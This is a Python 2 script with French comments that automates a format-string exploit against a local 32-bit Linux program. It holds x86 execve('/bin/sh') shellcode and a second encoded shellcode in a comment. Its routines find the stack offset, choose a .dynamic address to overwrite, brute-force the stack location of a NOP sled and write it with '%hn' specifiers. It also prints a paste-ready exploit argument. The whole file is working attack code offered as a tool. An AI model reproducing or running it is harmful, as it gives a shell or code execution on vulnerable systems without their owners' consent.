import sys
from struct import pack
from subprocess import Popen, PIPE
class FrmtStr:
def __init__(self, warp):
self.warp = warp
self.cmd = 'id'
# execve /bin/sh
self.sc = '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'
# \xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81
self.pad = '\xCC'*8000
self.stackAddr = 0
self.funcPtr = 0
def exploit(self):
# on essaye de trouver l'adresse du payload de facon automatique
if(self.findOffset()):
print '\x1B[0;31mWrong format string offset\x1B[0m'
return -1
print '\x1B[0;32marg is at: %d (%d padding)\x1B[0m' % (self.info[0], self.info[1])
if(self.findAddr()):
print '\x1B[0;31mUnable to find suitable adress\x1B[0m'
return -1
print '\x1B[0;32mwritable adress: 0x'+str(self.funcPtr)+'\x1B[0m'
print '\x1B[0;32mpayload adress: 0x'+str(self.stackAddr)+'\x1B[0m'
print '\x1B[0;32mExecute payload : \x1B[0;33m'+self.printArg()+'\x1B[0m'
buff = self.createBuff()
payload = '\x90'*(len(self.pad)-len(self.sc))+self.sc
try:
ret = self.warp.spwn(buff, payload, self.cmd+' >&2')[1][:-1]
if(len(str(ret))<=0):
print '\x1B[0;31mUnable to load Shellcode, padding too small? (%d octet)\x1B[0m' % len(self.pad)
return -1
except:
print '\x1B[0;31mUnable to load Shellcode, padding too small? (%d octet)\x1B[0m' % len(self.pad)
return -1
print '\x1B[0;36m'+ret+'\x1B[0m'
return 0
def createBuff(self):
# creation du buffer pour exploiter la format string
addr = self.funcPtr
val = self.stackAddr
try:
buff = pack('<L', int(addr,16)) + pack('<L', int(addr,16)+2)
lsb = int(val[4:], 16)-8-self.info[1]
if(lsb < 0):
lsb = lsb+65535
msb = int(val[:4], 16)-7-self.info[1]-lsb
if(msb < 0):
msb = msb+65535
lsb = str(lsb).zfill(5)
msb = str(msb).zfill(5)
buff = buff+'X'*self.info[1]+'%.'+lsb+'u%'+str(self.info[0])+'\x24hn'+'%.'+msb+'u%'+str(self.info[0]+1)+'\x24hn'
except:
return -1
return buff
def findOffset(self):
# Fonction permettant de trouver l'offset et le padding pour exploiter la format string
argOnStack = False
buff = 'AAAABBBB'+'%x.'*50
# recherche de l'offset
while not argOnStack:
buff = buff+buff[8:]
try:
out = self.warp.spwn(buff, self.pad, 3)[0]
out = out.split('.')
for i in range(len(out)):
if(out[i].find('4141')>=0):
if(out[i+1].find('4242')>=0):
argOnStack = True
ind = i
except:
return -1
# fiabilisation de l'offset
ind = ind-ind/10
try:
while(1):
buff = 'AAAABBBB'+'%'+str(ind)+'\x24x.'+'%'+str(ind+1)+'\x24x.'
out = self.warp.spwn(buff, self.pad, 3)[0]
out = out.split('.')[0]
if(out.find('4141')>=0):
break
ind = ind+1
except:
return -1
# calcule du padding
pad = 0
try:
for i in range(2):
for j in range(4):
buff = 'AAAABBBB'+'X'*j+'%'+str(ind)+'\x24x.'+'%'+str(ind+1)+'\x24x.'
out = self.warp.spwn(buff, self.pad, 3)[0]
out = out.split('.')
if(out[0].find('41414141')>=0 and out[1].find('42424242')>=0):
pad = j
break
if(out[0].find('41414141')>=0 and out[1].find('42424242')>=0):
break
ind = ind-1
except:
return -1
self.info = [ind, pad]
return 0
def findAddr(self):
# Trouver l'adresse a ecraser et le payload sur la pile
prcent = 0
args = ['objdump', '-h', self.warp.path]
p = Popen(args, stdout=PIPE)
out = p.communicate()[0]
out = out.split('\n')
for ret in out:
if(ret.find('.dynamic')>0):
ret = ret.split(' ')[-5]
self.funcPtr = ret
ret = 0
self.stackAddr = 'e2345678'
for i in range(20):
self.funcPtr = '%08x' % (int(self.funcPtr, 16)+4)
buff = self.createBuff()
ret = self.warp.spwn(buff, self.pad, -1)
if(ret != 0): break
ret = 0
self.stackAddr = 'bfffffff' # 0xbfffffff sommet stack
stackBf = int(self.stackAddr, 16)-0xbffe0000
while(int(self.stackAddr,16)>0xbffe0000):
buff = self.createBuff()
ret = self.warp.spwn(buff, self.pad, -1)
if(ret==5):
break
if(ret==4):
self.stackAddr = '%08x' % (int(self.stackAddr, 16)+len(self.sc))
self.stackAddr = '%08x' % (int(self.stackAddr, 16)-len(self.pad))
prcent = ((((int(self.stackAddr, 16)-0xbfffffff)*-1)*10000)/stackBf) # cette ligne est aussi moche que pp
sys.stdout.write("\r\x1B[0;35mGuessing stack: %02d.%02d%%\x1B[0m" % (prcent/100, prcent%100))
sys.stdout.flush()
sys.stdout.write("\r")
return 0
def printArg(self):
# on affiche la chaine d'exploitation utilisee par le script
addr = self.funcPtr
val = self.stackAddr
buff = '`python -c "print \''
try:
buff = buff+'\\x'+addr[6:8]+'\\x'+addr[4:6]+'\\x'+addr[2:4]+'\\x'+addr[0:2]
buff = buff+'\\x'+'%02x'%(int(addr[6:8], 16)+2)+'\\x'+addr[4:6]+'\\x'+addr[2:4]+'\\x'+addr[0:2]
lsb = int(val[4:], 16)-8-self.info[1]
if(lsb < 0):
lsb = lsb+65535
msb = int(val[:4], 16)-7-self.info[1]-lsb
if(msb < 0):
msb = msb+65535
lsb = str(lsb).zfill(5)
msb = str(msb).zfill(5)
buff = buff+'X'*self.info[1]+'%.'+lsb+'u%'+str(self.info[0])+'\\x24hn'+'%.'+msb+'u%'+str(self.info[0]+1)+'\\x24hn\x27"`'
except:
return -1
return buff